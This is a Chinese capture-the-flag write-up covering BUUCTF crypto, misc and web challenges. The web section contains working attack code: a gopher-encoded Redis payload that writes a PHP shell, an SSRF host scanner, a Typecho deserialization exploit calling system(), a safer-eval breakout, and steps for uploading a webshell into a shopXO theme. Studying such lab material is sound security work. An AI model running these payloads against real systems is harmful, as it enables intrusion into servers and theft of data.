# 前言

通过 buuctf 平台复现一些之前的赛题

# Crypto

# 小学生的密码题

image-20230403104605972

题目描述就这么多,简单的仿射加密

c=Ea,b(m)=am+b (mod 26)
m=Da,b(c)=a1(c−b) (mod 26)

根据题目描述,可得 a=11,b=6

import base64
from gmpy2 import invert
m = 'welcylk'
a=11
b=6
c=''
k=26
for i in range(len(m)):
    c +=chr((((invert(a,k))*((ord(m[i])-97)-b))%26)+97)
print(c)
//sorcery

# 汉字的秘密

王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫

当铺加密,很奇怪,当前汉字有多少笔画出头,就是转化成数字几,一一对应的

hz = "田口由中人工大土士王夫井羊壮"
sz = "00123455567899"
m = "王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫"
s = ""
for i in m:
    if i in hz:
        s += sz[hz.index(i)]
    else:
        s += ' '
# print(s)
ll = s.split(" ")
print(ll)
s = ''
for i in range(len(ll)):
    s += chr(int(ll[i]))
print(s)
#['69', '74', '62', '67', '118', '83', '72', '77', '86', '55', '71', '57', '82', '57', '64', '63', '51', '107']
#EJ>CvSHMV7G9R9@?3k

这里转化后,发现转为字符后不规律,这里即将前几个字符对应 flag 转换,是一个变异凯撒

hz = "田口由中人工大土士王夫井羊壮"
sz = "00123455567899"
m = "王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫"
s = ""
for i in m:
    if i in hz:
        s += sz[hz.index(i)]
    else:
        s += ' '
# print(s)
ll = s.split(" ")
print(ll)
s = ''
for i in range(len(ll)):
    s += chr(int(ll[i])+i+1)
print(s.lower())
#['69', '74', '62', '67', '118', '83', '72', '77', '86', '55', '71', '57', '82', '57', '64', '63', '51', '107']
#flag{you_are_good}

# babycrypto

# n:0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L
# e:65537
# enc:1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361
# p>>128<<128:0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L

拿到题后就是上面的内容,看起来是 RSA,20 年的题了现在可以直接分解出来这个 n,直接常规接 RSA 即可

from gmpy2 import *
import libnum
n = 22356763374676421464625378500213339933332772809897207920729779273423674391734609826525432054721219700275907299132471518921609327317193522567659631757746842030241874692914098354564311806192080734895649520789778880115460999713973202684541940857690744940359412410680906226760273075221532248260114209496048785258860756023841150910290983974843412361701517438220974722832625030127395031631696995777436058406987465592189873785392136925593708921923255186282515777996509326779993612528103615281644689464568237409082282767318227236298791238683706176542426759149262625349498709445342710799386836175120162674849965878446213480453
e = 65537
p = 139091353059018128421744751525080056530307965918298875691299992775484064426591581456998968315582349027071987206340653988925923465225471661893944397744293391269274124345189028818977002600599732469824164218366399726233373069742839737062004061244787413638290767590029376062508897417109117189614458570241407458359
q = 160734387026849747944319274262095716650717626398118440194223452208652532694713113062084219512359968722796763029072117463281356654614167941930993838521563406258263299846297499190884495560744873319814150988520868951045961906000066805136724505347218275230562125457122462589771119429631727404626489634314291445667
c = 1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361
N = (p-1)*(q-1)
d = invert(e,N)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
//b'flag{3d0914a1-1e97-4822-a745-c7e20c5179b9}'

# Backdoor

这个题下载后给了三个文件

image-20230404152640752

题目名叫后门,给了一个公式弱素数生成公式

image-20230404152753424

flag.enc

MDIxNDJhZjdjZTcwZmUwZGRhZTExNmJiN2U5NjI2MDI3NGVlOTI1MmE4Y2I1MjhlN2ZkZDI5ODA5YzJhNjAzMjcyN2MwNTUyNjEzM2FlNDYxMGVkOTQ0NTcyZmYxYWJmY2QwYjE3YWEyMmVmNDRhMg==

这个值解 base64 之后转 10 进制

59021026099361835300364130419492050160728561849475961557849334226894382166900594987062873888829896738392942368210302613981217873768

pub.pem

-----BEGIN PUBLIC KEY-----
MFMwDQYJKoZIhvcNAQEBBQADQgAwPwI4BXdHlrMB4cf0C0lFBWiLH94h9tX/zmNv
8WfYXjfXp7dJPjPBfUQXolyiSmcWMUzxhuFpltz8Z5sCAwEAAQ==
-----END PUBLIC KEY-----

task.py

#!/usr/bin/python
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2, binascii
import base64
from FLAG import flag
def rsa_encrypt(message):
    with open('./pub.pem' ,'r') as f:
        key = RSA.import_key(f.read())
    e = key.e
    n = key.n
    c = pow(bytes_to_long(flag), e, n)
 
    ciphertext = binascii.hexlify(long_to_bytes(c))
    return ciphertext
if __name__ == "__main__":
    text = base64.b64encode(rsa_encrypt(flag))
    with open('flag.enc','wb') as f:
        f.write(text)

google 后发现是 CVE-2017-15361,那么爱沙尼亚身份证系统和 TPM 的问题是什么?弱素数生成器(和 RSA! | 作者:比尔・布坎南教授 OBE |A 安全网站:当鲍勃遇见爱丽丝 | 中等 (medium.com)

弱素数生成器 (RSALib) (asecuritysite.com)

其中 ka 是破解时的未知整数。M 是前 n 个素数的乘法。

n 的素数因子 p 是由这个公式得出的

from Crypto.Util import number
k=3
vals=39
a=12
M=1
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987, 1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999]
for x in range(0, vals):
    M=M*primes[x]
p=k*M+(65537**a %M)
print('k=',k)
print('a=',a)
print('Number of prime numbers used=',vals)
print('======')
print('M=',M)
print('\nPrime=',p)
isp = number.isPrime(p)
if (isp==1):
	print('Value is prime')
else:
	print('Value is not prime')

通过 pub.pwm 来获取 e 和 n

with open('./pub.pem' ,'r') as f:
    key = RSA.import_key(f.read())
    e = key.e
    n = key.n
#e=65535
#n=15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739

这里的 n 是 134 位,预估 p 的位数不超过 134/2=67 位,M 代表前 x 项素数的乘积, x 的可选值有 5,16,39,71,80,126。在参数 k 与 a 取值不大的情况下,选取不同的 x 值,得到的 p 的位数不同。

image-20230404161441453

这里爆破一下求得 pq

import gmpy2
M=962947420735983927056946215901134429196419130606213075415963491270
n=15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739

for k in range(100):
	for a in range(100):
		p=k*M+(65537**a %M)
		if n%p==0:
			print('k=',k)
			print('a=',a)
			print('Prime=',p)
			isp = gmpy2.is_prime(p)

image-20230404161647184

from gmpy2 import *
import libnum
n = 15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739
e = 65537
p = 3386619977051114637303328519173627165817832179845212640767197001941
q = 4582433561127855310805294456657993281782662645116543024537051682479
c = int("02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2",16)
N = (p-1)*(q-1)
d = invert(e,N)
m = pow(c,d,n)
# print(d)
print(libnum.n2s(int(m)))
#b'flag{760958c9-cca9-458b-9cbe-ea07aa1668e4}'

# Misc

# Pokémon

Visual Boy Advance (emulator-zone.com)

玩这个游戏,到 103 号路口就行,纯娱乐

# code obfuscation

image-20230404175252420

将图片拉伸一下

image-20230404175317080

补一下这个图

image-20230404175641276

image-20230404175700284

这里用 binwalk -e 分解后得到一个 rar

将上面 gkctf 进行 base58 编码后可以打开压缩包

打开后图片内容

$Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce
$Ai$An$At$Bk$Am$Aa$Ai$Bs$Bt$Cn
$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb
$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb
$Cp

1 文件内容

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('15 n 14 a b c d e f g h i j k l m n o p q r s t u v w x y z 10 11 17="n"12 15 n 14 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 10 11 17="n"12 13=0 15 n 14 a b c d e f g h i j 10 11 16="n"13=$((13+1))12 1g("1f=\' \';1e=\'"\';16=\'#\';1j=\'(\';1i=\')\';1h=\'.\';1a=\';\';19=\'<\';18=\'>\';1d=\'1c\';1b=\'{\';1k=\'}\';1t=\'0\';1u=\'1\';1s=\'2\';1r=\'3\';1n=\'4\';1m=\'5\';1l=\'6\';1q=\'7\';1p=\'8\';1o=\'9\';")',62,93,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||do|eval|done|num|in|for|Bn|An|Ce|Cc|Cb|Cn|_|Cl|Bm|Bk|alert|By|Bt|Bs|Cp|Dg|Df|De|Dj|Di|Dh|Dd|Dc|Da|Db'.split('|'),0,{}))

这里用的是网上找到的脚本

import string
s = "$Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce$Ai$An$At$Bk$Am$Aa$Ai$An$Bs$Bt$Cn$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb$Cp"
ll = s.split('$')
list1 = ['Bk','Bm','Bn','Bs','Bt','By','Cb','Cc','Ce','Cl','Cn','Cp',
'Da','Db','Dc','Dd','De','Df','Dg','Dh','Di','Dj']
list2 = [' ','"','#','(',')','.','','<','>','_','{','}','0','1','2','3','4','5','6','7','8','9']
list3 = []
list4 = []
s = string.ascii_lowercase
for i in s:
	list3.append('A%s'%i)
	list4.append(i)
#print(list3,'\n',list4)
t = ''
for i in range(0,len(ll)):
	for j in range(0,len(list1)):
		if ll[i]==list1[j]:
			t += list2[j]
	for k in range(0,len(list3)):
		if ll[i]==list3[k]:
			t +=list4[k]
print(t)
#include <stdio.h>int main(){print("w3lc0me_4o_9kct5")return 0}

# Harley Quinn

这题放了两个 hint,看起来当时开始的时候做出来的人还是不多的

image-20230404235705038

image-20230404235716937

音频到结尾部分,有电话音的声音,用工具 dtmf2num 进行破解:

image-20230405001023160

#22283334447777338866#

对应 9 建

ctfisfun

image-20230405002121528

根据提示使用 FreeFileCamouflage 破解

image-20230405002156367

# Sail a boat down the river

三解,三个 hint,当时的题还是很绕的

image-20230405002442142

Hint:
闪烁的光芒
是一行不是一列
加密方式很常见

根据提示在 118帧-130帧200帧-208帧320帧-334帧410帧-418帧 刷卡器出现闪光,摩斯密码

-.-- .-- ---.. --.

解出得 yw8g

在 15 秒看到一张二维码

image-20230405003255656

image-20230405003538176

https://pan.baidu.com/s/1tygt0Nm_G5fTfVFlgxVcrQ

输入上面得到的密码

image-20230405003637459

密钥解熟读,然后根据排序即可得到: 52693795149137 解密得到 GG0kc.tf

image-20230405004030369

使用 Overture 打开得到 flag

# Web

# CheckIN

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

这里可以看到,源码很简单,接受参数,base64 解码后 eval 执行,先尝试 phpinfo ()

image-20230405005151284

能够正常执行,但是看到在环境变量中过滤了很多函数

image-20230405005239337

没有过滤 eval 函数,尝试构造木马用蚁剑连接后,发现不能正常运行命令,使用插件绕过

image-20230405005812789

# 老八小超市儿

image-20230405150623656

发现是 shopXO 电商系统,基于 thinkphp 开发的,去搜 CVE (71 条消息) shopxo 文件读取(CNVD-2021-15822)_xzhome 的博客 - CSDN 博客

这里直接用 poc 读取跟目录下面的 flag

image-20230405151307037

提示 flag 在 root 下面尝试读取发现 return 500 估计是权限问题,看来还得找别的 cve,看了下版本是 1.8

image-20230405150840800

渗透测试 | shopxo 后台全版本获取 shell 复现 - 腾讯云开发者社区 - 腾讯云 (tencent.com) 这里看到需要先登录,尝试发现没有改默认密码

这里直接搜索主题

image-20230405152129091

下载后添加一句话木马

image-20230405153407978

再上传回去

image-20230405153555190

这里直接添加

image-20230405154104996

用蚂蚁剑连接上后确实访问不了这个 root 目录

image-20230405154225020

看到根目录还有一个 hint

image-20230405154340012

又看到 auto.sh

image-20230405154429791

没 60 秒刷新一次,那修改一下这个脚本就可以了

image-20230405154814376

然后去读 flag.hint 就可以了

image-20230405154912635

# cve 版签到

image-20230405155402510

cve 编号有了,看来简单复现一下就行 [代码审计] CVE-2020-7066 漏洞复现 - Ky1226 - 博客园 (cnblogs.com)

简答来说 get_headers () 会截断 URL 中空字符后的内容

image-20230405155808748

点击后多了一个 url

image-20230405155759326

看起来是 SSRF,通过 %00 截断然后访问本地 ip

image-20230405160815831

要以 123 结尾

image-20230405160845950

# EZ 三剑客 - EzNode

看到首页

image-20230405161417448

版本

{
  "name": "src",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "body-parser": "1.19.0",
    "express": "4.17.1",
    "safer-eval": "1.3.6"
  }
}

源码

const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我 p 事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {
      }
    }, 1000);
  } else {
    next();
  }
});
app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算 KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

后面的部分都在首页面给出了,题目的核心在两个 eval 路由上,先看第一个

app.use((req, res, next) => {
  // 如果请求路径为 '/eval'
  if (req.path === '/eval') {
    // 设置延迟时间为 60 秒
    let delay = 60 * 1000;
    console.log(delay);
    // 如果请求参数中有 delay 参数,则将延迟时间设置为 delay 参数的值和当前延迟时间的最大值
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    // 设置一个定时器,延迟时间到期后执行 next () 函数
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我 p 事
    // 如果延迟时间过长,设置一个 1 秒的定时器,到期后清除之前设置的定时器,并返回 'Timeout!' 字符串
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {
      }
    }, 1000);
  } else {
    // 如果请求路径不为 '/eval',则执行 next () 函数
    next();
  }
});

简答来说就是通过 /eval?delay= 上传一个数字并和 60000 比较,大的赋值给 delay

浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒(24.8天)。只要大于2147483647,就会发生溢出

根据版本找到一个 cveBreakout · Issue #10 · commenthol/safer-eval (github.com),直接用就行

image-20230405162804912

# EZ 三剑客 - EzWeb

看源码有一个 get 传参

image-20230405162919887

访问

image-20230405162928878

给了网卡信息,在前段输入 www.baidu.com, 可以访问到这个页面。又是一个 ssrf

image-20230405163052975

不让访问 127.0.0.1 但是可以使用真实 ip

image-20230405163646133

尝试使用 file 读文件 file 协议被过滤了,尝试通过 file:/ 或者 file: // 去绕过

image-20230405164131078

<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['submit'])){
		$url = $_GET['url'];
		//echo $url."\n";
		if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
		{
			//var_dump($match);
			die('别这样');
		}
		curl($url);
}
if(isset($_GET['secret'])){
	system('ifconfig');
}
?>

过滤了 file://、dict、127.0.0.1、localhost,还能使用 gopher 协议和 http 协议

先使用 http 服务探测存活主机,这里用 burp 的探测会卡住,简单的用 python 判断

import requests
import time
url = "http://d3edfd3a-f06a-42ad-9bf4-fb994618272a.node4.buuoj.cn:81/index.php"
for i in range(255):
	getdata = "?url=http://10.244.80."+str(i)+"&submit=%E6%8F%90%E4%BA%A4"
	urs_l = url + getdata
	# print(urs_l)
	try:
		re = requests.get(urs_l,timeout=1)
		print(re)
	except requests.exceptions.RequestException:
		print("失败   "+str(i))
		pass
	time.sleep(1)

image-20230405172033524

image-20230405172015095

接着扫描端口,6379 端口是开放的,有 redis 服务,gopher 打 ssrf,redis 的未授权访问漏洞,这里贴一下网上找到的 python2 的脚本这里改一下用 python3 跑

# 导入 quote 函数
from urllib.parse import quote
# 定义协议、IP、端口、要写入的 PHP 代码、文件名、路径、密码、命令列表
protocol = "gopher://"
ip = "10.244.80.203"
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "1.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",  # 清空 Redis 数据库
       "set 1 {}".format(shell.replace(" ", "${IFS}")),  # 将 PHP 代码写入 Redis 中
       "config set dir {}".format(path),  # 设置 Redis 工作目录
       "config set dbfilename {}".format(filename),  # 设置 Redis 数据库文件名
       "save"  # 将 Redis 数据库保存到磁盘中
       ]
# 如果设置了密码,将 AUTH 命令添加到命令列表中
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
# 拼接 payload
payload = protocol + ip + ":" + port + "/_"
# 定义 redis_format 函数,将命令转换为 Redis 格式
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd
# 将每个命令转换为 Redis 格式,并拼接到 payload 中
if __name__ == "__main__":
    for x in cmd:
        payload += quote(redis_format(x))
    print(payload)
#gopher://10.244.80.203:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0A1.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

访问木马文件就能拿到 flag

# EZ 三剑客 - EzTypecho

image-20230405175019643

直接去找 Typecho 的 cve,看到是有反序列化漏洞的 Typecho 前台 getshell 漏洞分析 (seebug.org)

这个直接用网上的 poc 打就行

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct()
    {
        $this->_params['screenName'] = 'ls /';
        //$this->_params['screenName'] = -1;
        $this->_filter[0] = 'system';
    }
}
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义 ATOM 1.0 类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义 RSS 时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义 ATOM 时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;
    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());
        $this->_items[0] = $item;
    }
}
$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>